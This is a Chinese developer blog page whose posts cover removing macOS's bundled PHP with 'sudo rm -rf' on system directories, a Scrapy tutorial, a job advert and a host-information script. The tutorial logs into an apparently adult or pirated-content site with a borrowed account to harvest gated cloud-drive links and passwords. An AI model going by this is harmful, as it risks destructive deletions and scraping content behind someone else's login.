凌晨三点了,安。

PHP

博主在搞Web开发主要采用的是Laravel,然而发现其对PHP版本的要求是越来越高,PHP5.6已经越来受到限制,Laravel 5.5将正式弃用PHP5.6,所以博主决定直接升级到7.1版本。

移除旧版本

由于系统本身已经装了PHP5.6,所以需要先将其移除。 在这里列出目录以及移除需要的命令。

1
2
3
4
5
6
7
8
/private/etc/               sudo rm -rf php-fpm.conf.default php.ini php.ini.default
/usr/bin/ sudo rm -rf php php-config phpdoc phpize
/usr/include sudo rm -rf php
/usr/lib sudo rm -rf php
/usr/sbin sudo rm -rf php-fpm
/usr/share sudo rm -rf php
/usr/share/man/man1 sudo rm -rf php-config.1 php.1 phpize.1
/usr/share/man/man8 sudo rm -rf php-fpm.8

顺次手动删除它们即可。

搞清关系

在卸载过程中你会发现有PHP、FastCGI、php-fpm、spawn-fcgi等等的概念,所以在这里先梳理一下。

CGI

CGI是为了保证web server传递过来的数据是标准格式的,方便CGI程序的编写者。 web server(比如说nginx)只是内容的分发者。比如,如果请求/index.html,那么web server会去文件系统中找到这个文件,发送给浏览器,这里分发的是静态数据。好了,如果现在请求的是/index.php,根据配置文件,nginx知道这个不是静态文件,需要去找PHP解析器来处理,那么他会把这个请求简单处理后交给PHP解析器。Nginx会传哪些数据给PHP解析器呢?url要有吧,查询字符串也得有吧,POST数据也要有,HTTP header不能少吧,好的,CGI就是规定要传哪些数据、以什么样的格式传递给后方处理这个请求的协议。仔细想想,你在PHP代码中使用的用户从哪里来的。 当web server收到/index.php这个请求后,会启动对应的CGI程序,这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程。web server再把结果返回给浏览器。

FastCGI

Fastcgi是用来提高CGI程序性能的。 那么CGI程序的性能问题在哪呢?”PHP解析器会解析php.ini文件,初始化执行环境”,就是这里了。标准的CGI对每个请求都会执行这些步骤(不闲累啊!启动进程很累的说!),所以处理每个时间的时间会比较长。这明显不合理嘛!那么Fastcgi是怎么做的呢?首先,Fastcgi会先启一个master,解析配置文件,初始化执行环境,然后再启动多个worker。当请求过来时,master会传递给一个worker,然后立即可以接受下一个请求。这样就避免了重复的劳动,效率自然是高。而且当worker不够用时,master可以根据配置预先启动几个worker等着;当然空闲worker太多时,也会停掉一些,这样就提高了性能,也节约了资源。这就是fastcgi的对进程的管理。

PHP-FPM

是一个实现了Fastcgi的程序,被PHP官方收了。 大家都知道,PHP的解释器是php-cgi。php-cgi只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理(皇上,臣妾真的做不到啊!)所以就出现了一些能够调度php-cgi进程的程序,比如说由lighthttpd分离出来的spawn-fcgi。好了PHP-FPM也是这么个东东,在长时间的发展后,逐渐得到了大家的认可(要知道,前几年大家可是抱怨PHP-FPM稳定性太差的),也越来越流行。 php-fpm的管理对象是php-cgi。但不能说php-fpm是fastcgi进程的管理器,因为前面说了fastcgi是个协议,似乎没有这么个进程存在,就算存在php-fpm也管理不了他(至少目前是)。 有的说,php-fpm是php内核的一个补丁 以前是对的。因为最开始的时候php-fpm没有包含在PHP内核里面,要使用这个功能,需要找到与源码版本相同的php-fpm对内核打补丁,然后再编译。后来PHP内核集成了PHP-FPM之后就方便多了,使用\--enalbe-fpm这个编译参数即可。

安装PHP7.1

用brew进行安装。

1
2
brew install homebrew/php/php71
brew install homebrew/php/php71-mcrypt

安装完了之后它会自带PHP-FPM,在 启动PHP-FPM

1
sudo php-fpm

配置文件目录

php.ini

1
/usr/local/etc/php/7.1/php.ini

php-fpm.conf

1
/usr/local/etc/php/7.1/php-fpm.conf

php-fpm

1
/usr/local/opt/php71/sbin/php-fpm

但是执行php-fpm发现没有反应,所以这里需要加一个symlink

1
ln -s /usr/local/opt/php71/sbin/php-fpm /usr/local/bin/php-fpm

然后运行php-fpm

1
sudo php-fpm

启动nginx

1
sudo nginx

关于MySQL和其他的安装在这就不再赘述。 以上便完成了PHP的升级。

Python

QQ图片20161021225948其实拿这个网站当教程刚开始我是拒绝、换其他网站吧,又没什么动力···· 然后就··········· 上一篇 Scrapy 带大家玩了 Spider 今天带带大家玩的东西有两点、第一 CrawlSpider、第二 Scrapy 登录。 目标站点:www.haoduofuli.wang 9555112 Go Go Go!开整! 还记得第一步要干啥? 创建项目文件啊!没有 Scrapy 环境的小伙伴们请参考第一篇安装一下环境哦! 打开你的命令行界面(Windows 是 CMD)使用切换目录的命令到你需要的存放项目文件的磁盘目录

1
2
D:
scrapy startproject haoduofuli

好了 我在 D 盘创建了一个叫做 haoduofuli 的项目。 用 Pycharm 打开这个目录开始我们的爬取之路 Come on! 下一步我们该做什么记得吧?当然是在 items.py 中声明字段了!方便我们在 Spider 中保存获取的内容并通过 Pipline 进行保存(items.py 本质上是一个 dict 字典) 我在 items.py 中声明了以下类容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# -*- coding: utf-8 -*-

# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html

import scrapy


class HaoduofuliItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()

category = scrapy.Field() #类型
title = scrapy.Field() #标题
imgurl = scrapy.Field() #图片的地址
yunlink = scrapy.Field() #百度云盘的连接
password = scrapy.Field() #百度云盘的密码
url = scrapy.Field() #页面的地址

至于为啥声明的这些类容:各位自己去网站上观察一下、(主要是吧,贴在这儿的话 估计这博文就要被人道主义销毁了) 别忘记上一篇博文教大家的那种在 IDE 中运行 Scrapy 的方法哦! 好上面的我们搞定、开始下一步编写 Spider 啦! QQ图片20161021223818 在 spiders 文件夹中新建一个文件 haoduofuli.py(还不清楚目录和作用的小哥儿快去看看 Scrapy 的第一篇) 首先导入以下包:

1
2
3
4
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpider与Rule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包

详细介绍请参考:http://scrapy-chs.readthedocs.io/zh_CN/latest/topics/spiders.html 中的:CrawlSpider、爬取规则(Crawling rules)、pare_start_url(response)|(此方法重写 start_urls)、以及 Spider 中 start_requests()方法的重写。 下面我带大家简单的玩玩儿顺便获取我们想要的东西。 前面提到了我们需要获取全站的资源、如果使用 Spider 的话就需要写大量的代码(当然只是相对而言的大量代码)!但是我们还有另一个选择那就是今天要说的 CrawlSpider! 吃惊表情1 首先我们新建一个函数 继承 CrawlSpider(上一篇博文是继承 Spider 哦!) 见证奇迹的时刻到了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpider与Rule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包

class myspider(CrawlSpider):

name = 'haoduofuli'
allowed_domains = ['haoduofuli.wang']
start_urls = ['http://www.haoduofuli.wang']

rules = (
Rule(LinkExtractor(allow=('\.html',)), callback='parse_item', follow=True),
)

def parse_item(self, response):
print(response.url)
pass

是不是很厉害!加上中间的空行也就不到二十行代码啊!就把整个网站历遍了!So Easy!! 上面的几行代码的意思 很明了了啊!我只说说 rules 这一块儿 表示所有 response 都会通过这个规则进行过滤匹配、匹配啥?当然是后缀为.html 的 URL 了、callback=’parseitem’表示将获取到的 response 交给 parse_item 函数处理(这儿要注意了、不要使用 parse 函数、因为 CrawlSpider 使用的 parse 来实现逻辑、如果你使用了 parse 函数、CrawlSpider 会运行失败。)、follow=True 表示跟进匹配到的 URL(顺便说一句 allow 的参数支持正则表达式、虽然我也用得不熟、不过超级好使) 至于我这儿的 allow 的参数为啥是’.\html’;大伙儿自己观察一下我们需要获取想要信息的页面的 URL 是不是都是以.html 结束的?明白了吧! 然后 rules 的大概运作方式是下面这样: QQ截图20170122164117 图很清晰明了了(本人也是初学、如有错误 还请各位及时留言 我好纠正。)中间的数据流向是靠引擎来完成的。 好了 我们来看看效果如何: QQ20170122-011812 这是我们返回 response 的 URL、一水儿的 URL 啊!完美!下面就可以进行提取数据了(诶!不对啊怎么没有没什么提取工具啊!还记得上篇博文说的不?下载器返回的 response 是支持 Xpath 的哦!我们直接使用 Xpath 来提取数据就行啦!) 表情2 那么问题来了!Xpath 没用过啊!不会用啊!这可咋整啊!别怕!草鸡简单的!!来不着急! 先大声跟我念:Google 大法好啊! 哈哈哈 没错、我们需要 Chrome(至于为啥不用 Firefox、因为不知道为啥 Firefox 的 Xpath 有时和 Chrome 的结构不一样 有些时候提取不到数据、Chrome 则没什么问题) 来来!跟着我的节奏来!包你五分钟学会使用 Xpath!学不会也没关系、毕竟你也不能顺着网线来打我啊! 第一步:打开你的 Chrome 浏览器 挑选上面任意一个 URL 打开进入我们提取数据的页面(不贴图 容易被 Say GoogBay): 第二步:打开 Chrome 的调试模式找到我们需要提取的内容(如何快速找到呢?还不知道的小哥儿 我只能说你实在是太水了) 点击下面红圈的箭头 然后去网页上点击你需要的内容就 哔!的一下跳过去了! QQ20170122-013435 第三步:在跳转的那一行就是你想要提取内容的一行(背景色完全区别于其它行!!)右键 Copy ——Copy XPath: 就像下面我提取标题: QQ20170122-013823 你会得到这样的内容: //[@id=”postcontent”]/p[1] 意思是:在根节点下面的有一个 id 为 post_content 的标签里面的第一个 p 标签(p[1]) 如果你需要提取的是这个标签的文本你需要在后面加点东西变成下面这样: //[@id=”post_content”]/p[1]/text() 后面加上 text()标签就是提取文本 如果要提取标签里面的属性就把 text()换成@属性比如: //*[@id=”post_content”]/p[1]/@src So Easy!XPath 提取完毕!来看看怎么用的!那就更简单了!!!! response.xpath(‘你 Copy 的 XPath’).extract()[‘要取第几个值’] 注意 XPath 提取出来的默认是 List。 QQ图片20161021224219 看完上面这一段 估计还没有五分钟吧 !好了 XPath 掌握了!我们来开始取我们想要的东西吧!现在我们的代码应该变成这样了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpider与Rule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包

class myspider(CrawlSpider):

name = 'haoduofuli'
allowed_domains = ['haoduofuli.wang']
start_urls = ['http://www.haoduofuli.wang']

rules = (
Rule(LinkExtractor(allow=('\.html',)), callback='parse_item', follow=True),
)

def parse_item(self, response):
item = HaoduofuliItem()
item['url'] = response.url
item['category'] = response.xpath('//*[@id="content"]/div[1]/div[1]/span[2]/a/text()').extract()[0]
item['title'] = response.xpath('//*[@id="content"]/div[1]/h1/text()').extract()[0]
item['imgurl'] = response.xpath('//*[@id="post_content"]/p/img/@src').extract()
return item

我们来跑一下!简直完美! QQ20170122-020745 关于 imgurl 那个 XPath: 你先随便找一找图片的地址 Copy XPath 类似得到这样的: //[@id=”post_content”]/p[2]/img 你瞅瞅网页会发现每一个有几张图片 每张地址都在一个 p 标签下的 img 标签的 src 属性中 把这个 2 去掉变成: //[@id=”post_content”]/p/img 就变成了所有 p 标签下的 img 标签了!加上 /@src 后所有图片就获取到啦!(不加[0]是因为我们要所有的地址、加了 就只能获取一个了!) 关于 XPath 更多的用法与功能详解,建议大家去看看 w3cschool (^o^)/ 第一部分完工、开始第二部分的工作吧!登!录! QQ图片20161022193315 毕竟这些都不是我们要的重点!我们要的是资源 资源啊!能下载东西的地方!如果不是为了资源 那么爬虫将毫无意义(给工钱的另算)。 但是下载资源是隐藏的,需要登录才能看见(别找我要帐号、我也是借的别人的。) 我们先来看看这个网站是怎么登录的,使用 Firefox 打开www.haoduofuli.wang/login.php(为啥是Firefox、因为个人感觉Firefox的表单界面看起来很爽啊!哈哈哈) 打开页面之后开启调试模式(怎么开不说了)—开启持续日志(不然跳转之后没了) QQ截图20170122101749 然后选择网络—选中 html 和 XHR(这样页面类容就会少很多、又不会缺少我们需要的东西) QQ截图20170122103140 现在开始登录(顺手把记住登录也勾上)!调试窗口不要关啊!!!!登录完毕之后你会发现出现一些内容 我们找到其中方法为 post 的请求、然后选择 参数 就能看到我们需要的登录表单啦! QQ截图20170122104241 我划掉的是帐号密码、这个位置应该显示你的帐号密码(这是很简单的一个登录表单、不通用但是思路是一样的。)找到了我们想要的东西我们开始登录吧 首先要知道 Scrapy 登录是如何实现的? 借助于 FromRequests 这个包实现的(前面已经导入过了),下面开整。不需要太大的改动只需增加一些函数 就可以轻而易举的实现的登录。 将我们的 start_urls 中的地址换掉换成我们我们的登陆地址www.haoduofuli.wang/login.php变成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpider与Rule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包



account = '你的账号'
password = '你的密码'

class myspider(CrawlSpider):

name = 'haoduofuli'
allowed_domains = ['haoduofuli.wang']
start_urls = ['http://www.haoduofuli.wang/wp-login.php']

那么问题来了!参考上面的流程图你会发现、这丫的没法登录表单没法写啊!start_urls 返回的 responses 就直接给 rules 进行处理了诶!我们需要一个什么方法来截断 start_urls 返回的 responses 方便我们把登录的表单提交上去!那么问题来了 !该用啥? 答案是:parse_start_url(response)这方法;此方法作用是当 start_url 返回 responses 时调用这个方法。官方解释如下: QQ截图20170122105258 然后呢?当然是构造表单并通过 FormRequests 提交了!所以我们的程序现在就应该变成这样子了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpider与Rule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包



account = '你的帐号'
password = '你的密码'

class myspider(CrawlSpider):

name = 'haoduofuli'
allowed_domains = ['haoduofuli.wang']
start_urls = ['http://www.haoduofuli.wang/wp-login.php']

def parse_start_url(self, response):
###
如果你登录的有验证码之类的,你就可以在此处加入各种处理方法;
比如提交给打码平台,或者自己手动输入、再或者pil处理之类的
###
formdate = {
'log': account,
'pwd': password,
'rememberme': "forever",
'wp-submit': "登录",
'redirect_to': "http://www.haoduofuli.wang/wp-admin/",
'testcookie': "1"
}
return [FormRequest.from_response(response, formdata=formdate, callback=self.after_login)]

最后一句的意思是提交表单 formdate 并将回调 after_login 函数处理后续内容(一般用来判断是否登录成功) 然后开始请求我们需要爬取的页面 现在就变成这样了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from scrapy.spiders import CrawlSpider, Rule, Request ##CrawlSpiderRule配合使用可以骑到历遍全站的作用、Request干啥的我就不解释了
from scrapy.linkextractors import LinkExtractor ##配合Rule进行URL规则匹配
from haoduofuli.items import HaoduofuliItem ##不解释
from scrapy import FormRequest ##Scrapy中用作登录使用的一个包



account = '你的帐号'
password = '你的密码'

class myspider(CrawlSpider):

name = 'haoduofuli'
allowed_domains = ['haoduofuli.wang']
start_urls = ['http://www.haoduofuli.wang/wp-login.php']

def parse_start_url(self, response):
###
如果你登录的有验证码之类的,你就可以在此处加入各种处理方法;
比如提交给打码平台,或者自己手动输入、再或者pil处理之类的
###
formdate = {
'log': account,
'pwd': password,
'rememberme': "forever",
'wp-submit': "登录",
'redirect_to': "http://www.haoduofuli.wang/wp-admin/",
'testcookie': "1"
}
return [FormRequest.from_response(response, formdata=formdate, callback=self.after_login)]


def after_login(self, response):
###
可以在此处加上判断来确认是否登录成功、进行其他动作。
###
lnk = 'http://www.haoduofuli.wang'
return Request(lnk)

rules = (
Rule(LinkExtractor(allow=('\.html',)), callback='parse_item', follow=True),
)

def parse_item(self, response):
item = HaoduofuliItem()
try:
item['category'] = response.xpath('//*[@id="content"]/div[1]/div[1]/span[2]/a/text()').extract()[0]
item['title'] = response.xpath('//*[@id="content"]/div[1]/h1/text()').extract()[0]
item['imgurl'] = response.xpath('//*[@id="post_content"]/p/img/@src').extract()
item['yunlink'] = response.xpath('//*[@id="post_content"]/blockquote/a/@href').extract()[0]
item['password'] = response.xpath('//*[@id="post_content"]/blockquote/font/text()').extract()[0]
return item
except:
item['category'] = response.xpath('//*[@id="content"]/div[1]/div[1]/span[2]/a/text()').extract()[0]
item['title'] = response.xpath('//*[@id="content"]/div[1]/h1/text()').extract()[0]
item['imgurl'] = response.xpath('//*[@id="post_content"]/p/img/@src').extract()
item['yunlink'] = response.xpath('//*[@id="post_content"]/blockquote/p/a/@href).extract()[0]
item['password'] = response.xpath('//*[@id="post_content"]/blockquote/p/span/text()').extract()[0]
return item

return Request(lnk)就表示我们的开始页面了 至于为啥多了一个 try 判断;完全是因为 这站长不守规矩啊!有些页面不一样·····我能怎么办 我也很无奈啊! 都是被逼的。囧 好了!Spider 写完啦!但是我们的工作还没完!!!网站是靠什么知道这个 request 是否是登录用户发出的?答案是 Cookie! 所以我们需要 下载器 在下载网页之前在 request 中加入 Cookie 来向网站证明我们是登录用户身份;才能获取到需要登录才能查看的信息! 这个该怎么做?现在 Scrapy 的中间件派上用场了! 关于 Cookie 中间件参考:http://scrapy-chs.readthedocs.io/zh_CN/latest/topics/downloader-middleware.html#module-scrapy.contrib.downloadermiddleware.cookies 我们需要做的就是在 settings.py 中的 DOWNLOADER_MIDDLEWARES 开启这个中间件:scrapy.downloadermiddlewares.cookies.CookiesMiddleware 请注意!!!!!! 每一个中间件会对 request 进行操作、你所做的操作可能会依赖于前一个中间件、所以每个中间件的顺序就异常的重要。具体该设置多少请参考: http://scrapy-chs.readthedocs.io/zh_CN/latest/topics/settings.html#std:setting-DOWNLOADER_MIDDLEWARES_BASE QQ截图20170122165743 中的值设置!!这点务必注意···如果不清楚依赖关系 请按照上图的值设置。 从上面可以看出 Cookie 中间件的值为 700 、我们在 settings.py 设置也应该为 700 QQ截图20170122170041 我注释掉的请无视掉!!! 做好这些以后 Scrapy 运作的整个流程大概就变成了下面这样: QQ20170122-232839

1
return Request(lnk) 这一个请求也算作 初始URL 只不过 不是start_urls的返回response 所以不会调用parse_start_url函数哦!

QQ20170122-230207 跑一下!效果杠杠滴!!!至于后面的数据持久化(如何保存数据、大家请自行解决哦!比毕竟上一篇博文讲过了、) 这种更适合使用 MongoDB 存储 超级简单好使。 至此本篇博文结束。 这个还有一个分布式的版本、现在不想写了··· 等年后再写吧。 另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。另外我真的一个资源都没看。

职位推荐

置顶

博主实习过的一家公司,工作环境非常好,薪资丰厚,各种福利请往下看!和一群可爱的人一起工作,生活真的很充实,我不止在一篇博客里安利过了,现在团队又需要新能量啦,大家快看过来~

灵析团队在做什么?

灵析致力于让人人皆可参与公益,且受益。目前核心产品为:灵析 基于非营利组织的筹款传播、与数据管理。从国际知名的“TNC”、到国内知名的“希望工程”到“清华大学教育基金会”到“瓷娃娃罕见病关爱中心”……基本上你所了解的知名非营利组织都在用我们的产品和服务。 创立4年,稳健前行,靠谱,不浮躁。去年融资,能挣钱,不差钱。唯缺更多认同我们理念和业务的工程师和我们一起更快满足社会需求,高速健康发展。


为什么灵析研发团队值得你考虑?

  • 研发
    • 我们使用 Laravel/Vue 作为主力框架,使用 Slack/Gitlab/Worktile 进行团队协作
    • 我们实行新人导师制,定期外部/内部培训、辅导、分享,供应各类技术峰会门票
    • 我们的技术架构和团队架构都在高速扩展期,有大量技术、架构、成长实践机会
  • 基础:六险一金、弹性工作、年终奖、内推奖
  • 福利:旅游、硬件补贴、节假日福利(现金、京东卡…)、完善的加班调休制度(我们不鼓励加班!)、各种团建(以吃为主,以玩为辅)、零食
  • 健康:补充医保,体检,健身卡,每周体育活动(羽毛球),每日体育活动(乒乓球、桌上足球、拳击、XBOX 360…)
  • 成长:阅读基金、周四 Pizza Time
  • 团队:姑娘占据半壁江山的灵析团队,是一群有着不同背景、专业有趣的小伙伴,在 技术、创意营销、社会企业、游戏多媒体等领域都各有专长

招聘 - PHP 工程师(Ⅰ 级)

岗位职责

  1. 在小组 Leader 和同事的支持和配合下,根据产品或研发需求,按时、保质完成以后端为主的开发、测试、 文档编写任务
  2. 参与构建系统原型及关键技术问题的攻关活动
  3. 在开发过程中发现并解决存在的问题,帮助团队持续改进开发效率
  4. 改进框架、基础架构,持续优化服务

岗位要求

  1. 熟练掌握 LNMP + 缓存架构,一到两年中小型网站系统的开发、维护调优经验
  2. 熟练掌握 MVC/REST 架构,对构建可伸缩、可扩展、高可用系统有一定的了解
  3. 熟悉常用设计模式,熟悉 S.O.L.I.D 原则
  4. 熟练掌握基础的前端技术(HTML+CSS+JS),了解(熟悉可以加分)现代前端技术(ES6、Vue/React 、前端工作流等)

加分项

  1. 熟练使用 Linux
  2. 熟悉数据库、缓存、应用各层性能调优

招聘 - 前端工程师(Ⅰ 级)

岗位职责

  1. 在小组 Leader 和同事的支持和配合下,根据产品或研发需求,按时、保质完成以前端为主的开发、测试、 文档编写任务
  2. 参与构建系统原型及关键技术问题的攻关活动
  3. 在开发过程中发现并解决存在的问题,帮助团队持续改进开发效率
  4. 改进框架、基础架构,持续优化服务

岗位要求

  1. 1 年以上前端实际开发经验,有多个中小型网站系统前端的开发、维护调优经验
    • 基础:HTML+CSS3+JS,熟练掌握 jQuery、less、lodash 等常用辅助库
    • JS 基础:扎实的 JS 基础,最新的 ES 标准
    • MVVM 框架:如 Vue/React 等,开发过中小型 SPA(真实项目!不要只是做个几个组件练习)
  2. 熟悉基于 MVC/REST 架构前后端接口设计、对接流程
  3. 熟悉前端工程化工作流程,熟练使用 webpack/gulp 等前端工具链
  4. 熟悉常用设计模式,熟悉 S.O.L.I.D 原则
  5. 熟悉常见的浏览器的特点和限制,熟悉常用性能优化手段

加分项

  1. 熟悉 PHP 或 Node.js,能开发后端接口
  2. 熟练使用 Linux

补充 加分项!,除了各岗位的要求,还有哪些特征可以让我们更契合?

  • 认同我们的理念:Do Good、 Be Proud、Make History,期待用技术推动公益行业发展
  • 有经验
    • 专业:一到两年工作经验,或(校内)项目开发经验
    • 开源:有开源项目开发维护经验
    • 全栈:其它语言、场景的开发经验,如算法/Shell/Cpp/Java/Go/Python 等
    • 协作:熟练使用 Slack、Git、Webpack 等团队协作、工程化开发工具
  • 有代码洁癖和工程思想:我们期望你是创造价值的工程师,不是售卖劳力的程序员
  • 有 Geek 范: 认同 UNIX 设计哲学,熟练使用各种 Geek 工具
    • 有设计思维:一定的产品思维及审美品位
  • 善于协作沟通:有团队沟通协作、项目进度及时间管理实践基础
  • 是一个终身学习者:保持学习,热爱分享,技术视野开阔,对业界新技术敏感

简历投递

简历可以提交到这个表单: http://lxi.me/9yh7t HR 邮箱: hr+lingxi360.com 或者,加我微信给我: https://s.lingxi360.com/hr/img/mywechat.jpeg 请带上你的 简历、 github 、作品、博客或其它能表现、证明你能力的东西! 补充说明: 以上前后端的 JD 是对应的一到两年实际开发经验 /能力(我们内部的 I 级),如果你的能力超过上面的描述,我们同时也需要( I I 级)的伙伴来担当更具挑战和更高回报的工作,请联系我!(其实是二级的 JD 还没写好…) P.S 博主就是后面那个二笔伸手抢镜的(捂脸哭)

Python

使用 python 代码收集主机的系统信息,主要:主机名称、IP、系统版本、服务器厂商、型号、序列号、CPU信息、内存等系统信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python
#encoding: utf-8

'''
收集主机的信息:
主机名称、IP、系统版本、服务器厂商、型号、序列号、CPU信息、内存信息
'''

from subprocess import Popen, PIPE
import os,sys

''' 获取 ifconfig 命令的输出 '''
def getIfconfig():
p = Popen(['ifconfig'], stdout = PIPE)
data = p.stdout.read()
return data

''' 获取 dmidecode 命令的输出 '''
def getDmi():
p = Popen(['dmidecode'], stdout = PIPE)
data = p.stdout.read()
return data

''' 根据空行分段落 返回段落列表'''
def parseData(data):
parsed_data = []
new_line = ''
data = [i for i in data.split('\n') if i]
for line in data:
if line[0].strip():
parsed_data.append(new_line)
new_line = line + '\n'
else:
new_line += line + '\n'
parsed_data.append(new_line)
return [i for i in parsed_data if i]

''' 根据输入的段落数据分析出ifconfig的每个网卡ip信息 '''
def parseIfconfig(parsed_data):
dic = {}
parsed_data = [i for i in parsed_data if not i.startswith('lo')]
for lines in parsed_data:
line_list = lines.split('\n')
devname = line_list[0].split()[0]
macaddr = line_list[0].split()[-1]
ipaddr = line_list[1].split()[1].split(':')[1]
break
dic['ip'] = ipaddr
return dic

''' 根据输入的dmi段落数据 分析出指定参数 '''
def parseDmi(parsed_data):
dic = {}
parsed_data = [i for i in parsed_data if i.startswith('System Information')]
parsed_data = [i for i in parsed_data[0].split('\n')[1:] if i]
dmi_dic = dict([i.strip().split(':') for i in parsed_data])
dic['vender'] = dmi_dic['Manufacturer'].strip()
dic['product'] = dmi_dic['Product Name'].strip()
dic['sn'] = dmi_dic['Serial Number'].strip()
return dic

''' 获取Linux系统主机名称 '''
def getHostname():
with open('/etc/sysconfig/network') as fd:
for line in fd:
if line.startswith('HOSTNAME'):
hostname = line.split('=')[1].strip()
break
return {'hostname':hostname}

''' 获取Linux系统的版本信息 '''
def getOsVersion():
with open('/etc/issue') as fd:
for line in fd:
osver = line.strip()
break
return {'osver':osver}

''' 获取CPU的型号和CPU的核心数 '''
def getCpu():
num = 0
with open('/proc/cpuinfo') as fd:
for line in fd:
if line.startswith('processor'):
num += 1
if line.startswith('model name'):
cpu_model = line.split(':')[1].strip().split()
cpu_model = cpu_model[0] + ' ' + cpu_model[2] + ' ' + cpu_model[-1]
return {'cpu_num':num, 'cpu_model':cpu_model}

''' 获取Linux系统的总物理内存 '''
def getMemory():
with open('/proc/meminfo') as fd:
for line in fd:
if line.startswith('MemTotal'):
mem = int(line.split()[1].strip())
break
mem = '%.f' % (mem / 1024.0) + ' MB'
return {'Memory':mem}

if __name__ == '__main__':
dic = {}
data_ip = getIfconfig()
parsed_data_ip = parseData(data_ip)
ip = parseIfconfig(parsed_data_ip)

data_dmi = getDmi()
parsed_data_dmi = parseData(data_dmi)
dmi = parseDmi(parsed_data_dmi)

hostname = getHostname()
osver = getOsVersion()
cpu = getCpu()
mem = getMemory()

dic.update(ip)
dic.update(dmi)
dic.update(hostname)
dic.update(osver)
dic.update(cpu)
dic.update(mem)

''' 将获取到的所有数据信息并按简单格式对齐显示 '''
for k,v in dic.items():
print '%-10s:%s' % (k, v)

实验测试结果:

1
2
3
4
5
6
7
8
9
product   :VMware Virtual Platform
osver :CentOS release 6.4 (Final)
sn :VMware-56 4d b4 6c 05 e5 20 dc-c6 49 0c e1 e0 18 1c 75
Memory :1870 MB
cpu_num :2
ip :192.168.0.8
vender :VMware, Inc.
hostname :vip
cpu_model :Intel(R) i7-4710MQ 2.50GHz

Python

这博文写得我懒癌犯了,最后的那个章节内容排序,我没有实验是否是正确的,不过这只是个教大家用 Scrapy 的教程,正确与否并不重要··· 如果不正确,记得留言;等我懒癌过了,我再改改······ 还有其它的问题也是一样··· ,把问题留言下; 等我懒癌过了·· 我改回来!嗯!是等我懒癌结束了,再改。 前面几篇博文,给大家从头到尾做了一个比较高效的爬虫,从这篇起来说说 Python 的爬虫框架 Scrapy; 至于为什么要说框架呢?因为啊,框架可以帮我们处理一部分事情,比如下载模块不用我们自己写了,我们只需专注于提取数据就好了; 最重要的一点啊!框架使用了异步的模式;可以加快我们的下载速度,而不用自己去实现异步框架;毕竟实现异步爬虫是一件比较麻烦的事情。 不过啊!反爬虫这个坎还是要我们自己迈过去啊!这是后话,以后再说。我们先来让 Scrapy 能跑起来,并提取出我们需要的数据,再解决其它问题。 官方文档在这儿:点我 9555112 环境搭建: 关于这一点,对在 Windows 环境下使用的小伙伴来说,请务必使用我之前提到的 Anaconda 这个 Python 的发行版本,不然光环境的各种报错就能消磨掉你所有的学习兴趣! 下载地址在这儿:http://pan.baidu.com/s/1pLgySav 安装完成之后,在 cmd 中执行:conda install Scrapy (如果需要使用特定版本,请在 Scrapy 后面加上 ==XXXX XXXX 代表你需要的版本号) 下面是安装示意图: 安装Scrapy So Easy@@!环境搭建完成!是不是超简单?全程无痛啊! 下面开始踏上新的征程!Go Go Go!! 使用 Scrapy 